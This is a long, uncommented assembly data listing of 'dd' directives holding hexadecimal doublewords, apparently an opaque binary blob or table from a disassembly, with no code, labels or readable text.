dd 6C31D8BAh, 42BA910Ah, 3BA3EDAh, 369964D6h, 984268FCh
dd 0F3307B01h, 0A2D983A2h
dd 20EB9439h, 0D57A339Fh, 0D7D25EC3h, 4685E8F3h, 986F5657h
dd 80F0C5E2h, 0ED01E0C7h, 3F09D1BBh, 58302F2Dh, 87B0C81Bh
dd 59B3FD24h, 9BDF5B84h, 92D78D4Fh, 9D90796Bh, 5668CC86h
dd 0A1FD3C26h, 3040E17h, 295080ADh, 0BA860C1h, 6AB63D64h
dd 7395FFB8h, 1F1A21A6h, 850CD8E0h, 0FA7F544Ch, 0D3B9C830h
dd 1FC3FE2Bh, 48AA7EAFh, 1875B71Ah, 21935131h, 2E207179h
dd 0CAA9E4CCh, 9A0379C5h, 863E02EFh, 99822E8Ah, 0E1B0DFC8h
dd 0C3602247h, 0F3E38751h, 0E7CAC2DAh, 73BD66Eh, 0AF199CA2h
dd 0AFF004E6h, 283A1D29h, 0A27A9339h, 74401E32h, 0FD7A485Eh
dd 2C97A7D4h, 6E0FCB9Bh, 0EB9CE21Eh, 0E3CD8915h, 0DD013A9Eh
dd 774B3D52h, 0B1ECDC5Eh, 9C587C85h, 9941CA94h, 0AC223A6Ah
dd 15184134h, 0FAFC95FBh, 131EE35h, 0C6104C84h, 7146FEFAh
dd 20DCE0A6h, 3CF1A304h, 0CFE116E0h, 0C622DBE7h, 7F7E868Ah
dd 1F4CC485h, 0E3EEA4AAh, 6883A207h, 0F3D20307h, 62AD33EFh
dd 52DDA470h, 6A5305E4h, 0DD928F6Fh, 0A5282F90h, 0A9627BF1h
dd 4EF73E49h, 0D3B90829h, 34B9E31Ah, 7C7D0B9Ch, 42859EE8h
dd 0D5D41FB1h, 78C77A9Ch, 2F46B84Ch, 0D18E4B3Eh, 0B0DF1BA6h
dd 0AC3057F1h, 11430A1h, 0AFBECEB9h, 1CF11AD7h, 0AC658028h
dd 419A3B9Ah, 1E28410Ah, 0F9317131h, 19C69078h, 0E0E9BEFFh
dd 0DECCAF58h, 29341211h, 0FB15D317h, 0E3875BFAh, 4439A7F6h
dd 8710D162h, 85EB858Fh, 0A9D59C28h, 78C7F052h, 0CD014B6Fh
dd 0F2DD0E2Eh, 3BE6B58Dh, 1A59B3DAh, 136265Bh, 17257965h
dd 0CF5EE385h, 57524023h, 5AC3AB61h, 65D6E8EFh, 49DD5D2Ah
dd 0B85D0629h, 6E3DC572h, 94837B53h, 1B62F4FDh, 2DFC705h
dd 6CA6DC00h, 0C2A2318Dh, 3FE9E61Eh, 3B53A32h, 0D6B25866h
dd 0A274D7BAh, 1215FEFDh, 59B8C068h, 0DF4B4C5Dh, 69EB78F3h
dd 0E99E7C6h, 0D11820BCh, 0AA4612C5h, 473F5BCDh, 7682C56Fh
dd 15CD99B8h, 0E82E81E2h, 0E0AC7FEAh, 0E4E5E2B5h, 0E0A19ADFh
dd 16B69619h, 8805D94Ch, 2CA70271h, 4AF90F9Eh, 4586A471h
dd 0BFB44A8Eh, 2D539BB3h, 0CEF9B18Ah, 0D0CD2C48h, 0CB51E343h
dd 551CB4F7h, 0F934F194h, 46BDCC67h, 4A025D29h, 9EE97434h
dd 0E09303BDh, 0FB2CBECCh, 0EBEB9836h, 65C205BDh, 85491394h
dd 0C61E078Dh, 9CE937DFh, 1B91AC24h, 9136A6B5h, 78CD0EB6h
dd 95AD95F3h, 3ABF9369h, 7CE198CCh, 7A319A04h, 0B1EAD6CCh
dd 611C4B84h, 217D9A23h, 0B8E057E9h, 84679E7Bh, 4F2BAC1h
dd 98F4E2F4h, 0AF9CE127h, 919826D2h, 54784C3Dh, 0A19AF333h
dd 86E001F5h, 0B6664C76h, 8FB7F49Dh, 89DE54F6h, 3DEBA8ECh
dd 0CBC192D0h, 7ED99258h, 4749CCFFh, 6809942Fh, 6EB67D40h
dd 8B7286C7h, 0DEB28148h, 3A1CD30Bh, 0A2B19CAEh, 295C1C36h
dd 0C60FFE5h, 0C7A55AB7h, 0FB0C074h, 2965DFFFh, 24C6DA96h
dd 28E0DAF4h, 52C5C1EFh, 0C3DACE31h, 7C87B858h, 0A2D7B096h
dd 1CE057D5h, 6D3BEE33h, 5F52D7ECh, 0F9C6E6ECh, 0DC5B3D1Dh
dd 0E51F7347h, 0F9592CD9h, 8441E912h, 3DAFE48Dh, 0EBEBD3F5h
dd 731DC146h, 79B44F1Dh, 0AF5989A3h, 19331B37h, 9D6E964Ah
dd 508106E5h, 0A627F036h, 72EBEE0Bh, 45A75508h, 2614574Ah
dd 84C5EEh, 774CC7D3h, 8C6AB7Fh, 59822647h, 5BC14846h
dd 7BBA404Eh, 0CCD466Ch, 0A98BC585h, 8B1B81DEh, 41EB688Bh
dd 0BD0899BCh, 282CE3D7h, 51E76AF7h, 6AF8182Fh, 7D14B2B4h
dd 2453149Bh, 360536DAh, 140ECB95h, 0D9AF3071h, 40C3792Eh
dd 662A1E20h, 7BA7DE2h, 92FDF411h, 7BE398F8h, 9541E9CAh
dd 99E7323Ah, 0FDD1C453h, 2C6B35C0h, 3A607EFFh, 27E1FE5Fh
dd 62682ACCh, 6346349Eh, 852F1CF3h, 0DE65724Fh, 2DE3ED4Fh
dd 0C747CCE8h, 4577BEAFh, 0BD782DC0h, 5CF5F617h, 8FCD0C6Eh
dd 94EEAB96h, 0E38D7595h, 8BC2419Ah, 0D6DCF315h, 8F71D402h
dd 1188938Eh, 400972D6h, 10501377h, 0F8A6D0EFh, 0B13569D6h
dd 3C3982A3h, 0FBA22782h, 6D6EA3Fh, 101796E4h, 0B32C34BFh
dd 7405472h, 0E062ED30h, 0DB892F57h, 0A4FD7B14h, 9E26CB5Ah
dd 0AB714B2Bh, 73E53517h, 91F52D66h, 0F3C9C31Eh, 38E1102Fh
dd 633B0864h, 0B9A1BC02h, 0C840EF6Bh, 4FC464AEh, 0D29C787Eh
dd 75570C07h, 3C682861h, 68A09BF6h, 6D7CC012h, 0C872A784h
dd 0EC69A918h, 43216D6Eh, 49594F9Fh, 0CD84E2A7h, 1EE88EEBh
dd 0D15C2897h, 40B94A23h, 716EC769h, 2DAAAAC8h, 3F1FBD04h
dd 6D22713Eh, 5EC05A7Dh, 5A73F88Fh, 0CA0F4798h, 416BD0B7h
dd 0E8977EC8h, 673A10D1h, 0CA5E81DDh, 84A7A9B2h, 6A694273h
dd 787B532Ch, 0C874D913h, 6E5A8593h, 0F8AFC0D9h, 6F49A56Ah
dd 73D41211h, 0D060B517h, 78B5C4D9h, 113E2927h, 4406067Eh
dd 4E46978Ah, 96D0B16Ah, 0D147E90h, 9DA6BC99h, 0CD23C3AFh
dd 0D6510553h, 4C52D52Fh, 7B9C5641h, 429C9B1Dh, 32194A9h
dd 949612FAh, 0DAD20C40h, 26801DA7h, 78A838A1h, 862F06CCh
dd 0B047877Bh, 4BC194E4h, 0CDBCB9EDh, 0E13C05A5h, 65C80913h
dd 0A21CB90Ch, 7B79D1DFh, 0BCA164F6h, 8F500F83h, 481081B4h
dd 0BDE9CDC6h, 0F88DDA9Dh, 0F3BAC952h, 0A57E571Dh, 3B498D16h
dd 0EE99224Bh, 3FE654B6h, 4A8F3E77h, 0C999FF60h, 2AC637E0h
dd 0C5C26214h, 0A62517FBh, 0BB4F8383h, 2742E41Ah, 0F6101D6Bh
dd 99B8C2D3h, 0FDCB4A04h, 15683DDEh, 8125598Ch, 96026A5h
dd 4D73CC3Fh, 383B63FEh, 7A41A33Fh, 647BA1B1h, 0F285D58Fh
dd 0CE909922h, 90C92D75h, 0A579361h, 5B29462Eh, 0A6AC2Ch
dd 23B99CCAh, 254F584Dh, 9E6F36A7h, 32A11776h, 0AB0751B0h
dd 0AD2F305Bh, 81782321h, 5EDBFA37h, 0D3CDB658h, 80C31DAAh
dd 6EE1D78Dh, 578F45B4h, 0DA0C6C80h, 23AAC650h, 1C6DC925h
dd 0D0F7B76Eh, 0F01253D3h, 13FF7B0Bh, 1B773FB6h, 0F13CBA5Ah
dd 4AD9ACF2h, 0CFDBABACh, 0EB4C5C75h, 6AB4AF7Ch, 66CE30EBh
dd 40C7BD10h, 16263A13h, 901C31DBh, 1BCDDD4Bh, 1FD63D5h
dd 0F1B6E073h, 32739F5Bh, 26908EEFh, 0E9A9B07Ch, 0C0E61462h
dd 0C95FF35h, 0CDED4BDAh, 6A38502h, 0D81D0DE4h, 6CF60C95h
dd 0E18CDFA2h, 0F874652Fh, 0B9600435h, 1BA0BCECh, 0D103BF06h
dd 0D865B3CFh, 3AE887B2h, 805CF6C6h, 7005682Fh, 5DC9B358h
dd 426914C5h, 0A1F6C4FAh, 48F66023h, 0F41636D9h, 0D00CA92Ah
dd 0CB45478Ah, 0B33F2F3Fh, 8036A687h, 0B713CDC5h, 6C75F380h
dd 0CE9E991Ch, 0CA800916h, 8EFC48A2h, 0E5EA739h, 0D1877A0Bh
dd 0D45B09CFh, 83527F82h, 517FEB95h, 0DABE6BDEh, 55B87573h
dd 41BC2E0Fh, 31C1689Ah, 0E29C11D8h, 607F92DEh, 747A84BCh
dd 0EFB1E601h, 857C295Bh, 0FD66EBCFh, 760E1CE7h, 828859F3h
dd 0D7C09AA1h, 0F78AD0F7h, 0FEFC6F27h, 0C8DC3E31h, 0A5DA89C0h
dd 542868F1h, 0B7211CFFh, 0A4B5592Ch, 0B1C2C933h, 0ECAC658h
dd 4F762982h, 0CB19CA8Eh, 7E10822Ch, 46823137h, 755D1CFFh
dd 9F7E26BBh, 2B551BF8h, 2E1AFA0Dh, 8EA3FD57h, 0F5ABFF72h
dd 0C1B4DACFh, 0A9A06170h, 5EBEDA0Eh, 74222798h, 67E8BC2Ah
dd 53A70217h, 8AE3E5C8h, 37739D8Ch, 1D48C727h, 0CCBFC540h
dd 62A8914Bh, 0E7E6954Fh, 0F6279DECh, 0BB362D35h, 717BBFB4h
dd 235DAA3h, 46CABD87h, 6D8CF8DEh, 0BFF3A70Ah, 6BADDC27h
dd 0A2FB4F77h, 0E59A511Eh, 5305C4B6h, 91F0697Ch, 53467B95h
dd 85666394h, 0E9D2BEC7h
dd 76A2459h, 0AB194A89h, 90C86726h, 90F9D7F1h, 0CE5D6206h
dd 11E14A1h, 10F47426h, 95E2CA80h, 0A24BE628h, 4CC65235h
dd 3630EB1h, 540BC928h, 0CBAB24A1h, 0EF54DE71h, 0F33C9DF4h
dd 293DB3F4h, 38890087h, 0A5BD9618h, 0ADB03BC0h, 0A3E37E04h
dd 35E15CC0h, 0E22177EDh, 6412BB9Ah, 97B06E44h, 3201D596h
dd 132CB593h, 0ED81FAAAh, 0D055F1E9h, 0CCF6F256h, 9DF58F7Dh
dd 14715774h, 5AD01560h, 4B2D12FDh, 605C739Eh, 89B80276h
dd 0BCF72487h, 33B59C48h, 0C627493h, 4F238F0Ch, 0EC289368h
dd 531434D3h, 0F56FE30h, 19505857h, 5EB624BCh, 9DD69519h
dd 7FA66CAEh, 3EFDC12Eh, 827AA104h, 4C0D6C81h, 43461F83h
dd 2846697Dh, 0D05B03CEh, 0C791187Bh, 8A119336h, 0E718E660h
dd 0A947AF4Fh, 5AF305B3h, 7987F6F0h, 3E56A73Ch, 7B60A2ACh
dd 41904C58h, 8F572E16h, 0CA790F60h, 3A6A0C6Ah, 68E77C65h
dd 880A6521h, 498ACFAAh, 0F864367Bh, 0A1ACD73h, 49E9A317h
dd 7F19CAFCh, 3F512219h, 26348316h, 193B03A6h, 42992D9h
dd 3D350E4Eh, 0D1A2AA4Ch, 0D50F04DEh, 0E60732FAh, 43E4CF04h
dd 6A094088h, 9688CFC4h, 0A516C66Dh, 7F29A0A8h, 68FE0652h
dd 0E4891D49h, 64AA60B1h, 1FFE1B85h, 0F5457AE4h, 0BB95DD60h
dd 0BE3491BFh, 82C1B58Ah, 175568C4h, 9B301A5Ch, 75B7524Eh
dd 0DCCF76D3h, 0CCE3DB08h, 648662EEh, 39746649h, 2D474557h
dd 9B91A2D4h, 0CA25932Eh, 553E4CD2h, 0C03DDBAh, 775BF1ACh
dd 0C57E2891h, 0BF9F6C33h, 56D1EFC6h, 0CDBC82F5h, 0F1F518E0h
dd 0B80D335Ah, 37F4C340h, 563D8C30h, 0AC488AD8h, 462EBC71h
dd 0A65C6593h, 3CF9EAD9h, 76C92A47h, 61F7CC32h, 0ABB30EA1h
dd 0DF3F251Fh, 3CE1FCAEh, 6A78185Bh, 18B27B38h, 4F150379h
dd 3EB440D0h, 36E0C4A3h, 3943E6Bh, 4A9C0C81h, 0EA732098h
dd 766E548h, 9AE9F395h, 36730D6Fh, 0C8C73747h, 0E403DD6Fh
dd 6DB37069h, 13DCE8CDh, 0BB2EF349h, 59B15AF6h, 9A9D02ABh
dd 1DCB34DDh, 0ECF1D1AAh, 0C457E130h, 7B78398Eh, 69320438h
dd 34FE20EFh, 185C3145h, 3405C59h, 48EB3569h, 999F442Dh
dd 60610344h, 427DA17Fh, 27424C78h, 866EFCBAh, 687C268Ah
dd 9D972FD5h, 7E254B4Dh, 0E5EFC90h, 159103CEh, 90622157h
dd 14EF3044h, 4BD244C1h, 455B6550h, 0F3F02698h, 50E0CE90h
dd 0BDCAB232h, 0DF8E81F5h, 0B62EAC3Dh, 8EC0961Bh, 77D4BA10h
dd 0A68CDFE9h, 0F5EFF142h, 0EF2ADEF8h, 0D8ED110Ah, 84A3345Eh
dd 40A2A384h, 5F1C942Ch, 0DC0DA809h, 568B72D8h, 0C801B070h
dd 76703642h, 240C4BD8h, 21B6143Bh, 94305D59h, 596690E0h
dd 2663EBE6h, 0AB654493h, 32ADA45Bh, 46C5BF55h, 5177D1D6h
dd 55C1EA6Dh, 45803E16h, 0BA6AEEF5h, 0ED8E8318h, 0D06BF25Fh
dd 12EA730Ah, 0B78DC437h, 0FC69EA66h, 51B0D7E9h, 23E8FDC4h
dd 29AAC2EFh, 0B0439DC8h, 684F48CEh, 7690BDACh, 0A6EF9931h
dd 0EF297751h, 0F5593715h, 70BCCA18h, 5D680068h, 58278728h
dd 0AD746D6Ch, 0D7EC5DDCh, 0D1550B96h, 3818BB86h, 3A27F6ECh
dd 0FCD7018Ah, 3D82054h, 0C93D9A9h, 99BB48C5h, 0C37C3C1Ch
dd 6E5EC256h, 0FCA15E12h, 0C76517EDh, 0B7E09DFCh, 4B5BF700h
dd 0BA65FE66h, 0C82EE952h, 908809D4h, 154DB8E0h, 1BF7F37Bh
dd 0BD89B4E8h, 0E5D41924h, 0BFC700E3h, 9F33CC1Bh, 0D6691957h
dd 0F5BB9FD4h, 5FDA8BF0h, 13D462E5h, 0D305EEE0h, 86C4E904h
dd 0FF32FC02h, 5F6CAD0h, 82FFC516h, 0ED7E9E94h, 101AD773h
dd 23168F3Fh, 0ECB03DBAh, 48E9282h, 314FF2FEh, 3D6AC5FBh
dd 6C9F64EAh, 195C3675h, 0B94A3E9Dh, 6A1DE706h, 6EC6BE72h
dd 421FA879h, 0CC0A5929h, 0F26C194Eh, 78348E5Fh, 5A966AF2h
dd 586AD97h, 799F1A55h, 60651BDAh, 7C896677h, 799A5139h
dd 371D4F85h, 30F6E78Ah, 1C1DB904h, 0DF327D14h, 73E208ECh
dd 199E3C6h, 0A9F6F190h, 22D2D830h, 442E77E4h, 3ECD8F37h
dd 98793627h, 0C4A68668h, 0A53CB64Ch, 0B4F61CBCh, 0D6D2FEF1h
dd 67DAAB21h, 0E54EDC75h, 634A372Fh, 0BB95D8F6h, 0C3688080h
dd 0DC78315Ah, 0EED3FBFAh, 19239560h, 7A8CD439h, 64C98995h
dd 0ADB32E45h, 0DE17141Dh, 9C877C0h, 4A1630C6h, 0BE649141h
dd 0F70E5D8Eh, 0D1D5CB34h, 4AE3207Dh, 4FE41E43h, 0E79BCCD5h
dd 0C4989346h, 743DD4A4h, 6C188595h, 3ADBB654h, 2B9CAF95h
dd 0B16030F0h, 41D2ABEFh, 145B8418h, 152BA945h, 0A9979F9Fh
dd 0FBF6B4A9h, 3C843609h, 0DB9ED7DBh, 9F83618Bh, 5C402893h
dd 0C2E838A8h, 6CC53924h, 234D139Dh, 0CF7E0EDBh, 200C3D55h
dd 887555F6h, 7B688470h, 7BBB20A5h, 762C6A0Fh, 0D5786009h
dd 1988A56Fh, 58B556E7h, 9BEBA68Ch, 47DAA368h, 0F97FDA11h
dd 1A21898Dh, 0C54D9D5h, 8F158CDEh, 2E787AA2h, 673B4C6Eh
dd 0AD9E134Dh, 0D6D666E9h, 0D6AF3979h, 1EDF269Fh, 0BBEF076Fh
dd 0B83ACDBDh, 0EDBB2F3h, 0F19EAD41h, 0DB4D2B14h, 0DD57E15Ch
dd 128E3DC4h, 4E1712B6h, 2287B030h, 823E6D08h, 0E513CE50h
dd 6FA6F3E9h, 0BE19FCCBh, 0EC9603A7h, 6BC3E838h, 0F005A3E8h
dd 4E5812EBh, 1ECFCE0Ah, 0A2774C95h, 0A5F073B0h, 0EAE65D5Eh
dd 0AB70CBC2h, 0E4F47BD9h, 7473C367h, 9884C9h, 0B733CE5h
dd 9DF7DE95h, 0F65CDBB1h, 16771B0h, 0AB438A0Fh, 34820C73h
dd 1A9BC894h, 29D47738h, 0CCB5B500h, 7E8993DDh, 3CA000A6h
dd 0A4858A3h, 34CD2940h, 28734E11h, 909DD15h, 13A20EFFh
dd 1C0A645Ch, 0A6044F77h, 0B5B20D9Ah, 947A2A86h, 3DA79431h
dd 0B89C5A29h, 3CB31C04h, 401B8560h, 0BF918D1h, 0E1F20DF1h
dd 21663093h, 1F81FC38h, 0F226B39h, 0C31F62F2h, 7300DD0Eh
dd 670C3B37h, 57A1A5FEh, 0D2BBEB5Ch, 4B86931Ah, 38DAE06Dh
dd 771D13BAh, 4FD8E627h, 3AE108F7h, 0E527C260h, 91460DD2h
dd 2DF6EAF2h, 963B233Bh, 46FE0A80h, 6CC29DADh, 0B143CAD6h
dd 19AF80E7h, 0CD6078A5h, 0DD5D0098h, 718BFDC8h, 6D51F6EAh
dd 0DA193E34h, 32779150h, 0EAE40550h, 441A0367h, 8894893h
dd 4210181Fh, 0D24E9867h, 0A4C2E6E9h, 3BA77D4Bh, 7A04E2FCh
dd 0FEF88113h, 0FD292BFDh, 1662585Ah, 7FC08307h, 54C9359Dh
dd 6886C67Fh, 98577509h, 379809A6h, 84FEEF88h, 730D3273h
dd 5D5C73A3h, 5B00C4D8h, 3C8000ACh, 9B652977h, 0F3B97E62h
dd 1A9F0EDBh, 97A5EEBEh, 0C5D6A8AFh, 22650B1Bh, 849F7FA8h
dd 447A4171h, 43136D95h, 0B2DDEA63h, 0EE8FCD1Bh, 0B80E1864h
dd 0C6831EF3h, 1715186Ah, 59DBFE33h, 0F9566C87h, 21803029h
dd 816D2245h, 224D1FCEh, 9E68E27h, 84A2F065h, 9EBB2990h
dd 9BC18430h, 94C672A8h, 4E0C042Dh, 0EE2FFCF5h, 0CB8AD541h
dd 49805149h, 912803C7h, 0A15A8A31h, 5CB553F5h, 9AEF71B1h
dd 0ADB9A275h, 0A432FF4Fh, 2B86CCD7h, 0DC30AB44h, 0BB7788ECh
dd 458C51BBh, 1351E69Bh, 0DC5644E0h, 3EFCE23Eh, 0FD6AE7D3h
dd 960AC01Eh, 0B45C5C4h, 82734B44h, 0DE34C411h, 0C8ACB4B1h
dd 57AFB54h, 0F2095004h, 5C487239h, 253D5C51h, 6B055D7Ch
dd 266E994Ah, 0D23018EBh, 0A3D793BFh, 8BEACC54h, 0E25F49D4h
dd 7299C64Eh, 0BF7563C0h, 0C18CC6FBh, 72E18094h, 0DA651548h
dd 5C90E753h, 0EB400706h, 3DEE5089h, 87A31B52h, 0DC83A883h
dd 0BCCD1D0Bh, 2856A1C5h, 3D53B03Bh, 436D0CAEh, 5E07A3D9h
dd 351F6F4Ah, 676A348h
dd 2926BB52h, 0B764082h, 8A9AB73Bh, 0FE57A702h, 0E91DF402h
dd 4A3AD004h, 0DB9C3314h, 6466E178h, 3FB05726h, 99548D27h
dd 0F6947C8Ah, 0EA125EA6h, 5D0D5543h, 0A5DC79D3h, 35ED2265h
dd 3A7FD0C1h, 55B93BD1h, 88574F6Fh, 7D5B7507h, 0C0AD9DE9h
dd 1E0C1E19h, 5E1812EBh, 389B1FAEh, 38F79A5h, 89D5AFA0h
dd 0AAAAC493h, 227A3D55h, 0D96330Eh, 554B4A95h, 5B251ECBh
dd 331F211Bh, 28BACAB0h, 8AAB250Ch, 695C7945h, 0D9FDFF21h
dd 80DF5527h, 0BCD517F9h, 9C08C82Ah, 0F01E0DECh, 162E1A1h
dd 0A490EFD6h, 4725F112h, 0E5E4481Ah, 41714617h, 311FB08Ch
dd 0FAA98DC0h, 69E4D67Dh, 100EC509h, 511D9B1Eh, 0F890F231h
dd 0B5E6FA78h, 251B8B98h, 373FBC5h, 0C18959C1h, 5AB29492h
dd 0B7743BC7h, 22C05089h, 0F20CAC32h, 7419B7C8h, 0A55626AEh
dd 0F65D83D4h, 0DBF5179Fh, 0D7C306B0h, 1D6E872h, 0FFC0A838h
dd 64B1031Fh, 8EC91BD7h, 0C196F88Ah, 4A4FD68Dh, 4775417Dh
dd 8F8CB57Bh, 0BA45F764h, 0D17B9DFh, 2B8A2D8h, 0A5B667E5h
dd 4583EFC5h, 78992D60h, 0C17AD3F0h, 81711162h, 9439ECCEh
dd 54D8AEE1h, 8CC2C843h, 3B9AA50Ah, 41FB0DA1h, 0FA937F9Fh
dd 0EFFA849Bh, 0E3307D5Ch, 0DD33CC94h, 0AFFE6706h, 2EBA11A4h
dd 6C3028ACh, 2ACB6E8Eh, 2891552Ah, 0CB1E3718h, 52455086h
dd 85255082h, 35C5835Bh, 0CE046599h, 0CD5F0BD7h, 0B17A1464h
dd 211E10F7h, 0A84849FBh, 60200C3Dh, 0D30BC2EFh, 981475BFh
dd 0F021F7F2h, 408AC709h, 5DD7F68Bh, 3CAA84DAh, 0B86BD49Ah
dd 0F313F8CAh, 13ED9507h, 9E3E9B5Ch, 0BE4089C7h, 3C3C3AF2h
dd 2F592ADEh, 0B4CA50ECh, 9ABB4C6h, 15DED6C9h, 818CDA39h
dd 0FF819AC1h, 0BEED1BCFh, 0BAEF5D97h, 3355A313h, 8D0F54FAh
dd 48E1F55Bh, 6DD2B4BFh, 4798D28Fh, 0FFFFEA75h, 302FA126h
dd 8902B334h, 110A9807h, 291EAF1Ah, 36BF78FCh, 59DB8DC8h
dd 37CC51E3h, 9FCC55E6h, 2FCBFB5Fh, 0AC506D39h, 442602A2h
dd 1550FDEEh, 0B43088F7h, 0D2184778h, 0C99A632h, 0A8D8F4F6h
dd 0A85E3F9Bh, 99D64649h, 78435572h, 79EB86FCh, 49895CDCh
dd 491E060h, 773D1E3Ah, 24487511h, 9ABA9634h, 5FF3F0BCh
dd 89642B0Dh, 85A664F2h, 0B4E44F35h, 0F264A2FFh, 4E7C06D9h
dd 479DDB9Dh, 0FBC12F6Bh, 609A610Ah, 961DCFF5h, 2C2EDAE5h
dd 60DAFDBh, 40DC489Eh, 895ADF1Bh, 0AB00DB6Ah, 0D51F6D0h
dd 5B3EA333h, 0FFEDD07Dh, 0D171C89Ah, 32743D9Bh, 0D2D5DB4Eh
dd 0EFE64F4Ah, 8870FCBAh, 0F94F0A45h, 748585Ah, 71ED3922h
dd 0EF99E310h, 0FEBD16BDh, 30FFC54Ah, 811CB9Ch, 1A2FC77Ch
dd 76A7CD6Ah, 0FB617F89h, 55088DD5h, 4A3AA867h, 7D1A91E5h
dd 0B44245D6h, 631EF71Fh, 28E05C72h, 6E672468h, 45F8A10Dh
dd 673D8A26h, 124C5A12h, 0F1E3952Ah, 64EBB629h, 6203091h
dd 45DD7693h, 0C9867ED1h, 523E1A8Bh, 0F3B5D4FAh, 4AB9E2F9h
dd 6174E9B9h, 63C3A091h, 0F4E71FDBh, 1E5ADF24h, 0FF0C23BFh
dd 54CF5673h, 82F2501Eh, 2F4D1486h, 0D411B242h, 4C0AF82h
dd 44A61996h, 118F9946h, 22960616h, 0E7401567h, 0A7A63705h
dd 6D03E656h, 0A31FE30Ah, 0EFF56C6Eh, 4C056B2Dh, 6F6FEE66h
dd 7942CFEBh, 813458CBh, 0F4B80608h, 0F86CE948h, 6E0067F4h
dd 63AF0776h, 447280CEh, 7EE0499Fh, 4822DFAAh, 793CE2A5h
dd 49379CBFh, 56C44608h, 6BBA45E1h, 53614615h, 15BB4CE3h
dd 92DAF0BFh, 0A0390EE7h, 8F2DF46Bh, 4A82FFBFh, 0BB3DD5AAh
dd 0F8DD3F79h, 857B8C4Bh, 92DB5DBh, 99A775D3h, 3F8E3CEAh
dd 43979FD7h, 326D7E6Ah, 8B6FC78Bh, 0F803A687h, 46E8D2BCh
dd 98B5C72h, 29FC15D4h, 7ABC636Eh, 8D50CB60h, 0DF1651C8h
dd 7E4015E0h, 4C57F272h, 0E7C6D854h, 0B79B0A6h, 0B12E57CBh
dd 9D655468h, 85934173h, 9BC0ABC9h, 396C68Fh, 0EA5A69B5h
dd 0EF99D979h, 0DECE494Bh, 740F525Eh, 811BDDC5h, 0BEEAA545h
dd 40F4142h, 1CB4B805h, 45305809h, 0FD47A7FEh, 0E97C5C76h
dd 16037D53h, 0FB1889F6h, 48F9E47Ch, 85F4B0C5h, 0DB52D7D7h
dd 0A8BAB575h, 7E6E17D2h, 3EB7EE97h, 15901C47h, 7215183Dh
dd 0A19B49DCh, 0EA0F08B4h, 0D5BE191Eh, 0C5D617DAh, 66D691F4h
dd 0E713536Eh, 10CE65A2h, 0BE8F3584h, 0AFFE6D83h, 372578F4h
dd 8FEF6B60h, 7C33A5B4h, 0FF1EF8C6h, 4B44FB81h, 55890208h
dd 0BC30E63Fh, 92177BD0h, 0FF587161h, 3BCF6281h, 35B06009h
dd 0EFE52CD9h, 0B08A3056h, 0C45AC3EAh, 0D017ACC7h, 9BDBF929h
dd 6C5DD238h, 508E57BBh, 575B8A7Ah, 147DB85Dh, 6D7D2B93h
dd 0BE720EACh, 0CEC0B96Eh, 5BF9910Fh, 72953882h, 5494773Dh
dd 0EE1822DCh, 6151BE9Bh, 27730C62h, 5315317Fh, 47567E57h
dd 0BA215B90h, 2D985692h, 2A6440CEh, 4A5A9B9h, 47ECB958h
dd 0DDD8CD0Eh, 2E378FE3h, 215DD78Ah, 0D40A8E20h, 0ECFB5356h
dd 388F9337h, 0D4452895h, 2C4BC04Bh, 2570F716h, 88FC360h
dd 5A9E9B2Ah, 2487F76Bh, 0FFD599CAh, 0E79C6D7Eh, 0D1891717h
dd 0ED194CA8h, 316F2ECBh, 61608A39h, 0D15C0FD1h, 0E1EFD8F9h
dd 73C4EADFh, 8C214092h, 82147269h, 637D6E49h, 26D24D1Bh
dd 0DD7F8366h, 3D93C580h, 85E10553h, 0B72B5AFEh, 8D894DD8h
dd 332785CDh, 0E299275Ah, 0D3410E38h, 9A226FA9h, 93D234D5h
dd 54775E50h, 0EBEFE33Bh, 0B9A32D3Ch, 2177AACFh, 0CA4C6157h
dd 0EDC9AB6Ch, 2042D5CFh, 9264D342h, 0C1D35811h, 7593DC9Ah
dd 6C48FB20h, 0CC66EBA1h, 4A8B87CDh, 9D11C89Fh, 798998BCh
dd 88E332B5h, 0D0DA34EEh, 0B0114FD7h, 16E848D0h, 8285B327h
dd 3BFE20FDh, 0BCD501A0h, 0AA40CC75h, 3153A412h, 0A127E5D1h
dd 7617A950h, 0CD7139B1h, 35C08A1h, 0CE46446h, 7E1B2C98h
dd 6E6654EEh, 79434B87h, 44093AD5h, 0A5395C17h, 87D9B515h
dd 7C9FC835h, 52200260h, 0AB7AE27Fh, 0EE18484Bh, 8F186122h
dd 6F484189h, 6F34B9C8h, 3DE65A45h, 0B3DA137Fh, 5C80E781h
dd 0DA5862B9h, 0F6E2210Ch, 0FED84769h, 0D70A20CBh, 6DC89A04h
dd 48D2608Eh, 349C20DEh, 14DFC8EEh, 7D23D728h, 2D971876h
dd 835650Eh, 0FA18EFF8h, 2D196466h, 85131F95h, 7BBD6859h
dd 5A5A5722h, 27A0CA6h, 26C8538Ah, 950E3A9Ch, 6F313FA8h
dd 5B9780ECh, 4077E331h, 0AC64EEAAh, 80D8E921h, 4CD9CB37h
dd 1F058740h, 3AFC9C03h, 55AC748Bh, 5B724A08h, 45B2D308h
dd 7ACF9A9Dh, 9AFD7008h, 0DDE5A807h, 6AC5B668h, 954B909Dh
dd 0CE6DF6F2h, 3F037929h, 2F149009h, 9F8CB759h, 0C83C01A3h
dd 0FD066871h, 0D661279Eh, 301D9BAAh, 9C810C81h, 8D136C8Bh
dd 99D73B90h, 553E7D52h, 0B0733C2Bh, 13FFB866h, 3C8EC2B8h
dd 1BA3A52Ah, 7F3737C2h, 0FCA7E4B0h, 0D2EA7C3Ch, 749B91DBh
dd 0D1C1EDC4h, 0FF71A531h, 93D0E1FDh, 64CA70D2h, 0C198B161h
dd 7484949h, 0E0834C71h, 9DE2C840h, 0F4AF267Bh, 3C8133BAh
dd 13D9F352h, 41ABAA2Ch, 311A6DB4h, 0FB90759Ah, 56D9BFFDh
dd 55C8E201h, 0B4A46C18h, 33DA2391h, 261828DBh, 1DB1E0D6h
dd 64EA5D3Eh, 93DA5A7Fh, 6EEA5316h, 7D74925Fh, 0B3DF3E45h
dd 866E5A15h, 8E7D89B3h, 49D260B6h, 1012BD8Bh, 38BB39BAh
dd 1CE243D4h, 6B0D3DE2h, 28ABA40Ch, 0E219E7F2h, 70E7B57h
dd 0D7EC6999h, 0C5140DACh, 0A3D47CEBh, 169DFB46h, 22A1DD26h
dd 2C6B9147h, 0FAA74A73h
dd 0C236B20Bh, 0CA4F3EEFh, 68E36949h, 870A48CCh, 0FFEB4F81h
dd 0EA073219h, 0F89E5B8Fh, 54E2B9C4h, 0FED2F09Dh, 59B3E0EEh
dd 924E10AFh, 0E5C64481h, 35452A0h, 0C3C338AFh, 11F662D1h
